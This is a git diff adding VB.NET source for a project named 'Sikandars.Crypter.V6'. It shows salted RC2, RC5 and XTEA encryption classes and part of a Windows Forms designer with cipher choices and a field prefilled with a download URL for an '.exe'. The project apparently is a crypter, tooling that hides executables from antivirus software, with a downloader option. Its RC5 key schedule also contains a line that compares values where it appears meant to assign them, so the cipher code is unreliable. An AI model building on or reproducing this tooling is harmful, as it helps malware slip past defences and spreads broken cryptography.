Byte() = Add_Salt(input_b, salt_to_add) 'Salt bytes + input bytes... + Dim encrypted As Byte() = En(input_salt) 'Encrypt our bytes... + Return encrypted 'Call our encrypt function... (this gives us encrypted "salt bytes + input bytes") + End Function + + Public Shared Function Decrypt(ByVal input As String) As Byte() 'Decrypting function. + Dim input_salt As Byte() = System.Text.Encoding.Default.GetBytes(input) 'This is encrypted "Salt bytes + input bytes"... + Dim decrypted As Byte() = De(input_salt) 'Decypts and now we are left with "Salt bytes + input bytes"... + Dim input_b As Byte() = New Byte(decrypted.Length - 5 - 1) {} 'A new byte whose lenght is equal to "input_b" byte array(byte array of the original plain text).... + Array.Copy(decrypted, 5, input_b, 0, decrypted.Length - 5) 'As I know my salt's length is 5 so I can get only the "input_b" from the "salt bytes + input bytes" .. + Return input_b + End Function + + Public Shared Function Decrypt_with_salt(ByVal input As String) As Byte() 'Just to show you what is happening..xD + Dim input_salt As Byte() = System.Text.Encoding.Default.GetBytes(input) 'This is encrypted "Salt bytes + input bytes"... + Dim decrypted As Byte() = De(input_salt) 'Decypts and now we are left with "Salt bytes + input bytes"... + Return decrypted + End Function + +#Region "Encrypting functions" + Private Shared Function Generate_key(ByVal password As Byte(), ByVal salt As Byte(), ByVal length As Integer) As Byte() + Dim key As New PasswordDeriveBytes(password, salt, "SHA1", 1) + Dim out As Byte() = key.GetBytes(length) + Return out + End Function + + Private Shared Function Generate_Salt(ByVal length As Integer) As Byte() 'Generates our random salt using my RNG function... + Dim R As New RNGCryptoServiceProvider + Dim out(length - 1) As Byte + R.GetBytes(out) + Return out + End Function + + Private Shared Function Add_Salt(ByVal input As Byte(), ByVal salt As Byte()) As Byte() 'Function to add our salt bytes to input bytes.... + Dim input_salt As Byte() = New Byte(input.Length + salt.Length - 1) {} 'To hold both input bytes and salt bytes... + Array.Copy(salt, input_salt, salt.Length) 'Copying our salt bytes in "input_salt" array.... + Array.Copy(input, 0, input_salt, salt.Length, input.Length) 'Copying our input bytes too. So now we have "input_salt" as "salt bytes + input bytes"... + Return input_salt 'This is salt bytes + input bytes.... + End Function +#End Region + +#Region "Main Encryption\Decryption functions" + Public Shared Function En(ByVal input As Byte()) As Byte() 'Original function to encrypt with RC2. + Dim Crypt As ICryptoTransform = RC2.CreateEncryptor(key, RC2.IV) + Dim mem As New MemoryStream + Dim crypto As New CryptoStream(mem, Crypt, CryptoStreamMode.Write) + Dim out As Byte() + crypto.Write(input, 0, input.Length) + crypto.FlushFinalBlock() + out = mem.ToArray + Return out + End Function + + Public Shared Function De(ByVal input As Byte()) As Byte() 'Function to decrypt. + Dim Crypt As ICryptoTransform = RC2.CreateDecryptor(key, RC2.IV) + Dim mem As New MemoryStream(input) + Dim crypto As New CryptoStream(mem, Crypt, CryptoStreamMode.Read) + Dim out(input.Length - 1) As Byte + crypto.Read(out, 0, input.Length) + Return out + End Function +#End Region + End Class + Public Class Rc5 + Public Function Encrypt(ByVal input As String) As String + Dim r1, r2 As UInteger + Dim m1 As New IO.MemoryStream() + Dim m2 As New IO.MemoryStream() + + Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input) + m1.Write(input_b, 0, input_b.Length) + m1.Seek(0, IO.SeekOrigin.Begin) + + Dim br As New System.IO.BinaryReader(m1) + Dim bw As New System.IO.BinaryWriter(m2) + + Dim in_l As Long = input.Length + While in_l > 0 + Try + r1 = br.ReadUInt32() + Try + r2 = br.ReadUInt32() + Catch + r2 = 0 + End Try + Catch + r1 = 0 : r2 = 0 + End Try + + Encode(r1, r2, rounds) + bw.Write(r1) + bw.Write(r2) + + in_l -= 8 + End While + + m2.Seek(0, IO.SeekOrigin.Begin) + + Return System.Text.Encoding.Default.GetString(m2.ToArray()) + End Function + + Public Function Decrypt(ByVal input As String) As String + Dim r1, r2 As UInteger + Dim m1, m2 As New IO.MemoryStream() + + Dim input_b As Byte() = System.Text.Encoding.Default.GetBytes(input) + m1.Write(input_b, 0, input_b.Length) + m1.Seek(0, IO.SeekOrigin.Begin) + + Dim br As New System.IO.BinaryReader(m1) + Dim bw As New System.IO.BinaryWriter(m2) + + Dim in_l As Long = input.Length + + While in_l > 0 + Try + r1 = br.ReadUInt32() + r2 = br.ReadUInt32() + Decode(r1, r2, rounds) + + If Not (r1 = 0 AndAlso r2 = 0 AndAlso (in_l - 8 <= 0)) Then + bw.Write(r1) + bw.Write(r2) + End If + If r2 = 0 AndAlso (in_l - 8 <= 0) Then + bw.Write(r1) + End If + in_l -= 8 + + Catch + + End Try + End While + + m2.Seek(0, IO.SeekOrigin.Begin) + Return System.Text.Encoding.Default.GetString(m2.ToArray()) + End Function + + Private s As UInteger() + Private l As UInteger() + Private b As UInteger, u As UInteger, t As UInteger, c As UInteger + Private key As Byte() + Private rounds As Integer + + Public Sub New(ByVal password As String, ByVal round As Integer) + key = System.Text.Encoding.Default.GetBytes(password) + rounds = round + b = CUInt(key.Length) + u = 4 + t = CUInt(2 * rounds + 2) + c = Math.Max(b, 1) \ u + s = New UInteger(2 * rounds + 1) {} + l = New UInteger(key.Length - 1) {} + + GenerateKey(key, rounds) + End Sub + + Private Function leftRotate(ByVal x As UInteger, ByVal offset As Integer) As UInteger + Dim t1 As UInteger, t2 As UInteger + t1 = x >> (32 - offset) + t2 = x << offset + Return t1 Or t2 + End Function + + Private Function RightRotate(ByVal x As UInteger, ByVal offset As Integer) As UInteger + Dim t1 As UInteger, t2 As UInteger + t1 = x << (32 - offset) + t2 = x >> offset + Return t1 Or t2 + End Function + + Private Sub Encode(ByRef r1 As UInteger, ByRef r2 As UInteger, ByVal rounds As Integer) + r1 = r1 + s(0) + r2 = r2 + s(1) + For i As Integer = 1 To rounds + r1 = leftRotate(r1 Xor r2, CInt(r2)) + s(2 * i) + r2 = leftRotate(r2 Xor r1, CInt(r1)) + s(2 * i + 1) + Next + End Sub + + Private Sub Decode(ByRef r1 As UInteger, ByRef r2 As UInteger, ByVal rounds As Integer) + For i As Integer = rounds To 1 Step -1 + r2 = (RightRotate(r2 - s(2 * i + 1), CInt(r1))) Xor r1 + r1 = (RightRotate(r1 - s(2 * i), CInt(r2))) Xor r2 + Next + r2 = r2 - s(1) + r1 = r1 - s(0) + End Sub + + Private Sub GenerateKey(ByVal key As Byte(), ByVal rounds As Integer) + Dim P32 As UInteger = UInteger.Parse("b7e15163", System.Globalization.NumberStyles.HexNumber) + Dim Q32 As UInteger = UInteger.Parse("9e3779b9", System.Globalization.NumberStyles.HexNumber) + + For i As Integer = key.Length - 1 To 0 Step -1 + l(i) = leftRotate(CUInt(i), 8) + key(i) + Next + + s(0) = P32 + For i As Integer = 1 To t - 1 + s(i) = s(i - 1) + Q32 + Next + + Dim ii As UInteger, jj As UInteger + ii = 0 : jj = 0 + Dim x As UInteger, y As UInteger + x = 0 : y = 0 + Dim v As UInteger = 3 * Math.Max(t, c) + + For counter As Integer = 0 To v + x = s(ii) = leftRotate((s(ii) + x + y), 3) + y = l(jj) = leftRotate((l(jj) + x + y), CInt(x + y)) + ii = (ii + 1) Mod t + jj = (jj + 1) Mod c + Next + End Sub + End Class + Public Class XTea + Private Shared f_key As UInteger() + + Public Shared Function Encrypt(ByVal input As String, ByVal Pass As String) As String + + f_key = FormatKey(Pass) + + If input.Length = 0 Then + Throw New ArgumentException("Invalid input length!") + End If + + If input.Length Mod 2 <> 0 Then + input += ControlChars.NullChar + End If + + Dim dataBytes As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input) + + Dim cipher As String = String.Empty + Dim tempData As UInteger() = New UInteger(1) {} + For i As Integer = 0 To dataBytes.Length - 1 Step 2 + tempData(0) = dataBytes(i) + tempData(1) = dataBytes(i + 1) + code(tempData, f_key) + cipher += ConvertUIntToString(tempData(0)) + ConvertUIntToString(tempData(1)) + Next + + Return cipher + End Function + + Public Shared Function Decrypt(ByVal Data As String, ByVal Pass As String) As String + f_key = FormatKey(Pass) + Dim x As Integer = 0 + Dim tempData As UInteger() = New UInteger(1) {} + Dim dataBytes As Byte() = New Byte((Data.Length \ 8) * 2 - 1) {} + For i As Integer = 0 To Data.Length - 1 Step 8 + tempData(0) = ConvertStringToUInt(Data.Substring(i, 4)) + tempData(1) = ConvertStringToUInt(Data.Substring(i + 4, 4)) + decode(tempData, f_key) + dataBytes(x) = CByte(tempData(0)) + x += 1 + dataBytes(x) = CByte(tempData(1)) + x += 1 + Next + Dim decipheredString As String = System.Text.ASCIIEncoding.ASCII.GetString(dataBytes, 0, dataBytes.Length) + If decipheredString(decipheredString.Length - 1) = ControlChars.NullChar Then + decipheredString = decipheredString.Substring(0, decipheredString.Length - 1) + End If + Return decipheredString + End Function + + Private Shared Function FormatKey(ByVal Key As String) As UInteger() + If Key.Length <= 5 Then + Throw New ArgumentException("Key must be between 6 and 16 characters in length") + End If + + Key = Key.PadRight(16, " "c).Substring(0, 16) + + Dim formattedKey As UInteger() = New UInteger(4) {} + + Dim j As Integer = 0 + For i As Integer = 0 To Key.Length - 1 Step 4 + formattedKey(j) = ConvertStringToUInt(Key.Substring(i, 4)) + j += 1 + Next + Return formattedKey + End Function + + Private Shared Sub code(ByVal v As UInteger(), ByVal k As UInteger()) + Dim y As UInteger = v(0) + Dim z As UInteger = v(1) + Dim sum As UInteger = 0 + Dim delta As UInteger = &H9E3779B9UI + + For i = 0 To 31 + y += (z << 4 Xor z >> 5) + z Xor sum + k(sum And 3) + sum += delta + z += (y << 4 Xor y >> 5) + y Xor sum + k(sum >> 11 And 3) + Next + + v(0) = y + v(1) = z + End Sub + + Private Shared Sub decode(ByVal v As UInteger(), ByVal k As UInteger()) + Dim y As UInteger = v(0) + Dim z As UInteger = v(1) + Dim sum As UInteger = &HC6EF3720UI + Dim delta As UInteger = &H9E3779B9UI + + For i = 0 To 31 + z -= (y << 4 Xor y >> 5) + y Xor sum + k(sum >> 11 And 3) + sum -= delta + y -= (z << 4 Xor z >> 5) + z Xor sum + k(sum And 3) + Next + + v(0) = y + v(1) = z + End Sub + + Private Shared Function ConvertStringToUInt(ByVal Input As String) As System.UInt32 + Dim output As UInt32 + output = Convert.ToUInt32(Input(0)) + output += (Convert.ToUInt32(Input(1)) << 8) + output += (Convert.ToUInt32(Input(2)) << 16) + output += (Convert.ToUInt32(Input(3)) << 24) + Return output + End Function + Private Shared Function ConvertUIntToString(ByVal Input As System.UInt32) As String + Dim output As New System.Text.StringBuilder() + output.Append(Convert.ToChar(Input And &HFF)) + output.Append(Convert.ToChar((Input >> 8) And &HFF)) + output.Append(Convert.ToChar((Input >> 16) And &HFF)) + output.Append(Convert.ToChar((Input >> 24) And &HFF)) + Return output.ToString() + End Function + + End Class +End Class diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Form1.Designer.vb b/scode (Sikandars.Crypter.V6.VB.NET/Form1.Designer.vb new file mode 100644 index 0000000..f92a614 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Form1.Designer.vb @@ -0,0 +1,2784 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.components = New System.ComponentModel.Container() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.TextBox8 = New System.Windows.Forms.TextBox() + Me.RadioButton21 = New System.Windows.Forms.RadioButton() + Me.RadioButton17 = New System.Windows.Forms.RadioButton() + Me.TabControl1 = New System.Windows.Forms.TabControl() + Me.TabPage1 = New System.Windows.Forms.TabPage() + Me.ListView1 = New System.Windows.Forms.ListView() + Me.ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.ColumnHeader2 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader) + Me.RadioButton7 = New System.Windows.Forms.RadioButton() + Me.RadioButton6 = New System.Windows.Forms.RadioButton() + Me.RadioButton5 = New System.Windows.Forms.RadioButton() + Me.MButton4 = New SCV6._0.MButton() + Me.MButton3 = New SCV6._0.MButton() + Me.MButton2 = New SCV6._0.MButton() + Me.MButton1 = New SCV6._0.MButton() + Me.RadioButton24 = New System.Windows.Forms.RadioButton() + Me.PictureBox2 = New System.Windows.Forms.PictureBox() + Me.RadioButton10 = New System.Windows.Forms.RadioButton() + Me.RadioButton9 = New System.Windows.Forms.RadioButton() + Me.RadioButton4 = New System.Windows.Forms.RadioButton() + Me.RadioButton3 = New System.Windows.Forms.RadioButton() + Me.RadioButton2 = New System.Windows.Forms.RadioButton() + Me.RadioButton1 = New System.Windows.Forms.RadioButton() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.TabPage2 = New System.Windows.Forms.TabPage() + Me.Label2 = New System.Windows.Forms.Label() + Me.CheckBox26 = New System.Windows.Forms.CheckBox() + Me.CheckBox25 = New System.Windows.Forms.CheckBox() + Me.CheckBox24 = New System.Windows.Forms.CheckBox() + Me.CheckBox23 = New System.Windows.Forms.CheckBox() + Me.CheckBox22 = New System.Windows.Forms.CheckBox() + Me.CheckBox21 = New System.Windows.Forms.CheckBox() + Me.CheckBox20 = New System.Windows.Forms.CheckBox() + Me.CheckBox19 = New System.Windows.Forms.CheckBox() + Me.CheckBox18 = New System.Windows.Forms.CheckBox() + Me.CheckBox17 = New System.Windows.Forms.CheckBox() + Me.CheckBox16 = New System.Windows.Forms.CheckBox() + Me.CheckBox15 = New System.Windows.Forms.CheckBox() + Me.CheckBox14 = New System.Windows.Forms.CheckBox() + Me.CheckBox13 = New System.Windows.Forms.CheckBox() + Me.CheckBox12 = New System.Windows.Forms.CheckBox() + Me.CheckBox11 = New System.Windows.Forms.CheckBox() + Me.CheckBox10 = New System.Windows.Forms.CheckBox() + Me.CheckBox9 = New System.Windows.Forms.CheckBox() + Me.CheckBox8 = New System.Windows.Forms.CheckBox() + Me.CheckBox7 = New System.Windows.Forms.CheckBox() + Me.CheckBox6 = New System.Windows.Forms.CheckBox() + Me.CheckBox5 = New System.Windows.Forms.CheckBox() + Me.CheckBox4 = New System.Windows.Forms.CheckBox() + Me.CheckBox3 = New System.Windows.Forms.CheckBox() + Me.CheckBox2 = New System.Windows.Forms.CheckBox() + Me.TabPage3 = New System.Windows.Forms.TabPage() + Me.GroupBox1 = New System.Windows.Forms.GroupBox() + Me.MButton11 = New SCV6._0.MButton() + Me.MButton7 = New SCV6._0.MButton() + Me.TextBox17 = New System.Windows.Forms.TextBox() + Me.NumericUpDown4 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown3 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown2 = New System.Windows.Forms.NumericUpDown() + Me.Label6 = New System.Windows.Forms.Label() + Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown() + Me.Label5 = New System.Windows.Forms.Label() + Me.TextBox7 = New System.Windows.Forms.TextBox() + Me.Label4 = New System.Windows.Forms.Label() + Me.TextBox6 = New System.Windows.Forms.TextBox() + Me.Label3 = New System.Windows.Forms.Label() + Me.TextBox5 = New System.Windows.Forms.TextBox() + Me.TabPage4 = New System.Windows.Forms.TabPage() + Me.GroupBox6 = New System.Windows.Forms.GroupBox() + Me.CheckBox68 = New System.Windows.Forms.CheckBox() + Me.NumericUpDown6 = New System.Windows.Forms.NumericUpDown() + Me.NumericUpDown7 = New System.Windows.Forms.NumericUpDown() + Me.RadioButton15 = New System.Windows.Forms.RadioButton() + Me.RadioButton16 = New System.Windows.Forms.RadioButton() + Me.GroupBox3 = New System.Windows.Forms.GroupBox() + Me.MButton8 = New SCV6._0.MButton() + Me.CheckBox29 = New System.Windows.Forms.CheckBox() + Me.CheckBox1 = New System.Windows.Forms.CheckBox() + Me.GroupBox5 = New System.Windows.Forms.GroupBox() + Me.RadioButton47 = New System.Windows.Forms.RadioButton() + Me.RadioButton43 = New System.Windows.Forms.RadioButton() + Me.RadioButton45 = New System.Windows.Forms.RadioButton() + Me.RadioButton46 = New System.Windows.Forms.RadioButton() + Me.GroupBox12 = New System.Windows.Forms.GroupBox() + Me.RadioButton26 = New System.Windows.Forms.RadioButton() + Me.RadioButton28 = New System.Windows.Forms.RadioButton() + Me.TextBox19 = New System.Windows.Forms.TextBox() + Me.TextBox9 = New System.Windows.Forms.TextBox() + Me.CheckBox28 = New System.Windows.Forms.CheckBox() + Me.GroupBox2 = New System.Windows.Forms.GroupBox() + Me.RadioButton14 = New System.Windows.Forms.RadioButton() + Me.RadioButton13 = New System.Windows.Forms.RadioButton() + Me.RadioButton12 = New System.Windows.Forms.RadioButton() + Me.RadioButton11 = New System.Windows.Forms.RadioButton() + Me.TabPage5 = New System.Windows.Forms.TabPage() + Me.CheckBox70 = New System.Windows.Forms.CheckBox() + Me.CheckBox49 = New System.Windows.Forms.CheckBox() + Me.CheckBox48 = New System.Windows.Forms.CheckBox() + Me.CheckBox47 = New System.Windows.Forms.CheckBox() + Me.CheckBox46 = New System.Windows.Forms.CheckBox() + Me.CheckBox45 = New System.Windows.Forms.CheckBox() + Me.CheckBox44 = New System.Windows.Forms.CheckBox() + Me.CheckBox43 = New System.Windows.Forms.CheckBox() + Me.CheckBox42 = New System.Windows.Forms.CheckBox() + Me.CheckBox41 = New System.Windows.Forms.CheckBox() + Me.CheckBox40 = New System.Windows.Forms.CheckBox() + Me.CheckBox39 = New System.Windows.Forms.CheckBox() + Me.CheckBox38 = New System.Windows.Forms.CheckBox() + Me.CheckBox37 = New System.Windows.Forms.CheckBox() + Me.CheckBox36 = New System.Windows.Forms.CheckBox() + Me.CheckBox35 = New System.Windows.Forms.CheckBox() + Me.CheckBox34 = New System.Windows.Forms.CheckBox() + Me.CheckBox33 = New System.Windows.Forms.CheckBox() + Me.TabPage6 = New System.Windows.Forms.TabPage() + Me.Label8 = New System.Windows.Forms.Label() + Me.Label7 = New System.Windows.Forms.Label() + Me.NumericUpDown5 = New System.Windows.Forms.NumericUpDown() + Me.CheckBox61 = New System.Windows.Forms.CheckBox() + Me.Label9 = New System.Windows.Forms.Label() + Me.CheckBox60 = New System.Windows.Forms.CheckBox() + Me.CheckBox59 = New System.Windows.Forms.CheckBox() + Me.CheckBox58 = New System.Windows.Forms.CheckBox() + Me.CheckBox56 = New System.Windows.Forms.CheckBox() + Me.CheckBox55 = New System.Windows.Forms.CheckBox() + Me.CheckBox54 = New System.Windows.Forms.CheckBox() + Me.CheckBox53 = New System.Windows.Forms.CheckBox() + Me.CheckBox52 = New System.Windows.Forms.CheckBox() + Me.CheckBox51 = New System.Windows.Forms.CheckBox() + Me.CheckBox50 = New System.Windows.Forms.CheckBox() + Me.TabPage7 = New System.Windows.Forms.TabPage() + Me.Label16 = New System.Windows.Forms.Label() + Me.Label27 = New System.Windows.Forms.Label() + Me.GroupBox4 = New System.Windows.Forms.GroupBox() + Me.RadioButton25 = New System.Windows.Forms.RadioButton() + Me.RadioButton20 = New System.Windows.Forms.RadioButton() + Me.RadioButton19 = New System.Windows.Forms.RadioButton() + Me.RadioButton18 = New System.Windows.Forms.RadioButton() + Me.Label28 = New System.Windows.Forms.Label() + Me.Label29 = New System.Windows.Forms.Label() + Me.NumericUpDown12 = New System.Windows.Forms.NumericUpDown() + Me.Label30 = New System.Windows.Forms.Label() + Me.NumericUpDown11 = New System.Windows.Forms.NumericUpDown() + Me.Label31 = New System.Windows.Forms.Label() + Me.NumericUpDown10 = New System.Windows.Forms.NumericUpDown() + Me.Label32 = New System.Windows.Forms.Label() + Me.NumericUpDown9 = New System.Windows.Forms.NumericUpDown() + Me.Label21 = New System.Windows.Forms.Label() + Me.NumericUpDown8 = New System.Windows.Forms.NumericUpDown() + Me.Label22 = New System.Windows.Forms.Label() + Me.CheckBox64 = New System.Windows.Forms.CheckBox() + Me.Label23 = New System.Windows.Forms.Label() + Me.CheckBox63 = New System.Windows.Forms.CheckBox() + Me.Label24 = New System.Windows.Forms.Label() + Me.CheckBox62 = New System.Windows.Forms.CheckBox() + Me.Label25 = New System.Windows.Forms.Label() + Me.CheckBox57 = New System.Windows.Forms.CheckBox() + Me.Label26 = New System.Windows.Forms.Label() + Me.CheckBox30 = New System.Windows.Forms.CheckBox() + Me.Label14 = New System.Windows.Forms.Label() + Me.Label82 = New System.Windows.Forms.Label() + Me.Label15 = New System.Windows.Forms.Label() + Me.Label1 = New System.Windows.Forms.Label() + Me.Label17 = New System.Windows.Forms.Label() + Me.Label10 = New System.Windows.Forms.Label() + Me.Label18 = New System.Windows.Forms.Label() + Me.Label13 = New System.Windows.Forms.Label() + Me.Label19 = New System.Windows.Forms.Label() + Me.Label12 = New System.Windows.Forms.Label() + Me.Label20 = New System.Windows.Forms.Label() + Me.Label11 = New System.Windows.Forms.Label() + Me.MButton9 = New SCV6._0.MButton() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.ImageList1 = New System.Windows.Forms.ImageList(Me.components) + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.CheckBox71 = New System.Windows.Forms.CheckBox() + Me.ProgressBar1 = New System.Windows.Forms.ProgressBar() + Me.CheckBox72 = New System.Windows.Forms.CheckBox() + Me.CheckBox73 = New System.Windows.Forms.CheckBox() + Me.CheckBox74 = New System.Windows.Forms.CheckBox() + Me.CheckBox76 = New System.Windows.Forms.CheckBox() + Me.CheckBox75 = New System.Windows.Forms.CheckBox() + Me.TextBox4 = New System.Windows.Forms.TextBox() + Me.CheckBox27 = New System.Windows.Forms.CheckBox() + Me.MButton10 = New SCV6._0.MButton() + Me.MButton6 = New SCV6._0.MButton() + Me.MButton5 = New SCV6._0.MButton() + Me.TabControl1.SuspendLayout() + Me.TabPage1.SuspendLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.TabPage2.SuspendLayout() + Me.TabPage3.SuspendLayout() + Me.GroupBox1.SuspendLayout() + CType(Me.NumericUpDown4, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown3, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown2, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.TabPage4.SuspendLayout() + Me.GroupBox6.SuspendLayout() + CType(Me.NumericUpDown6, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown7, System.ComponentModel.ISupportInitialize).BeginInit() + Me.GroupBox3.SuspendLayout() + Me.GroupBox5.SuspendLayout() + Me.GroupBox12.SuspendLayout() + Me.GroupBox2.SuspendLayout() + Me.TabPage5.SuspendLayout() + Me.TabPage6.SuspendLayout() + CType(Me.NumericUpDown5, System.ComponentModel.ISupportInitialize).BeginInit() + Me.TabPage7.SuspendLayout() + Me.GroupBox4.SuspendLayout() + CType(Me.NumericUpDown12, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown11, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown10, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown9, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.NumericUpDown8, System.ComponentModel.ISupportInitialize).BeginInit() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.SuspendLayout() + ' + 'TextBox8 + ' + Me.TextBox8.Location = New System.Drawing.Point(23, 105) + Me.TextBox8.Name = "TextBox8" + Me.TextBox8.Size = New System.Drawing.Size(224, 20) + Me.TextBox8.TabIndex = 15 + Me.TextBox8.Text = "www.directdownloadlink.com/file.exe" + ' + 'RadioButton21 + ' + Me.RadioButton21.AutoSize = True + Me.RadioButton21.BackColor = System.Drawing.Color.Transparent + Me.RadioButton21.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton21.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton21.Location = New System.Drawing.Point(164, 147) + Me.RadioButton21.Name = "RadioButton21" + Me.RadioButton21.Size = New System.Drawing.Size(63, 17) + Me.RadioButton21.TabIndex = 14 + Me.RadioButton21.Text = "PolyRC4" + Me.RadioButton21.UseVisualStyleBackColor = False + ' + 'RadioButton17 + ' + Me.RadioButton17.AutoSize = True + Me.RadioButton17.BackColor = System.Drawing.Color.Transparent + Me.RadioButton17.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton17.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton17.Location = New System.Drawing.Point(207, 121) + Me.RadioButton17.Name = "RadioButton17" + Me.RadioButton17.Size = New System.Drawing.Size(41, 17) + Me.RadioButton17.TabIndex = 13 + Me.RadioButton17.Text = "AES" + Me.RadioButton17.UseVisualStyleBackColor = False + ' + 'TabControl1 + ' + Me.TabControl1.Controls.Add(Me.TabPage1) + Me.TabControl1.Controls.Add(Me.TabPage2) + Me.TabControl1.Controls.Add(Me.TabPage3) + Me.TabControl1.Controls.Add(Me.TabPage4) + Me.TabControl1.Controls.Add(Me.TabPage5) + Me.TabControl1.Controls.Add(Me.TabPage6) + Me.TabControl1.Controls.Add(Me.TabPage7) + Me.TabControl1.Location = New System.Drawing.Point(10, 77) + Me.TabControl1.Multiline = True + Me.TabControl1.Name = "TabControl1" + Me.TabControl1.SelectedIndex = 0 + Me.TabControl1.Size = New System.Drawing.Size(284, 275) + Me.TabControl1.TabIndex = 81 + ' + 'TabPage1 + ' + Me.TabPage1.BackColor = System.Drawing.Color.Black + Me.TabPage1.Controls.Add(Me.ListView1) + Me.TabPage1.Controls.Add(Me.RadioButton7) + Me.TabPage1.Controls.Add(Me.RadioButton6) + Me.TabPage1.Controls.Add(Me.RadioButton5) + Me.TabPage1.Controls.Add(Me.MButton4) + Me.TabPage1.Controls.Add(Me.MButton3) + Me.TabPage1.Controls.Add(Me.MButton2) + Me.TabPage1.Controls.Add(Me.MButton1) + Me.TabPage1.Controls.Add(Me.RadioButton24) + Me.TabPage1.Controls.Add(Me.RadioButton21) + Me.TabPage1.Controls.Add(Me.RadioButton17) + Me.TabPage1.Controls.Add(Me.PictureBox2) + Me.TabPage1.Controls.Add(Me.RadioButton10) + Me.TabPage1.Controls.Add(Me.RadioButton9) + Me.TabPage1.Controls.Add(Me.RadioButton4) + Me.TabPage1.Controls.Add(Me.RadioButton3) + Me.TabPage1.Controls.Add(Me.RadioButton2) + Me.TabPage1.Controls.Add(Me.RadioButton1) + Me.TabPage1.Controls.Add(Me.TextBox2) + Me.TabPage1.Controls.Add(Me.TextBox1) + Me.TabPage1.Location = New System.Drawing.Point(4, 40) + Me.TabPage1.Name = "TabPage1" + Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage1.Size = New System.Drawing.Size(276, 231) + Me.TabPage1.TabIndex = 0 + Me.TabPage1.Text = " General " + ' + 'ListView1 + ' + Me.ListView1.BackColor = System.Drawing.SystemColors.ControlLight + Me.ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.ColumnHeader1, Me.ColumnHeader2, Me.ColumnHeader3}) + Me.ListView1.GridLines = True + Me.ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable + Me.ListView1.Location = New System.Drawing.Point(16, 42) + Me.ListView1.Name = "ListView1" + Me.ListView1.ShowGroups = False + Me.ListView1.Size = New System.Drawing.Size(186, 99) + Me.ListView1.TabIndex = 2 + Me.ListView1.TabStop = False + Me.ListView1.TileSize = New System.Drawing.Size(50, 50) + Me.ListView1.UseCompatibleStateImageBehavior = False + Me.ListView1.View = System.Windows.Forms.View.Details + ' + 'ColumnHeader1 + ' + Me.ColumnHeader1.Text = "File Name" + Me.ColumnHeader1.Width = 93 + ' + 'ColumnHeader2 + ' + Me.ColumnHeader2.Text = "Type" + Me.ColumnHeader2.Width = 42 + ' + 'ColumnHeader3 + ' + Me.ColumnHeader3.Text = "Size" + Me.ColumnHeader3.Width = 47 + ' + 'RadioButton7 + ' + Me.RadioButton7.AutoSize = True + Me.RadioButton7.BackColor = System.Drawing.Color.Transparent + Me.RadioButton7.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton7.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton7.Location = New System.Drawing.Point(152, 124) + Me.RadioButton7.Name = "RadioButton7" + Me.RadioButton7.Size = New System.Drawing.Size(43, 17) + Me.RadioButton7.TabIndex = 98 + Me.RadioButton7.Text = "RC5" + Me.RadioButton7.UseVisualStyleBackColor = False + ' + 'RadioButton6 + ' + Me.RadioButton6.AutoSize = True + Me.RadioButton6.BackColor = System.Drawing.Color.Transparent + Me.RadioButton6.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton6.ForeColor = System.Drawing.Color.Yellow + Me.RadioButton6.Location = New System.Drawing.Point(86, 124) + Me.RadioButton6.Name = "RadioButton6" + Me.RadioButton6.Size = New System.Drawing.Size(47, 17) + Me.RadioButton6.TabIndex = 97 + Me.RadioButton6.Text = "XTEA" + Me.RadioButton6.UseVisualStyleBackColor = False + ' + 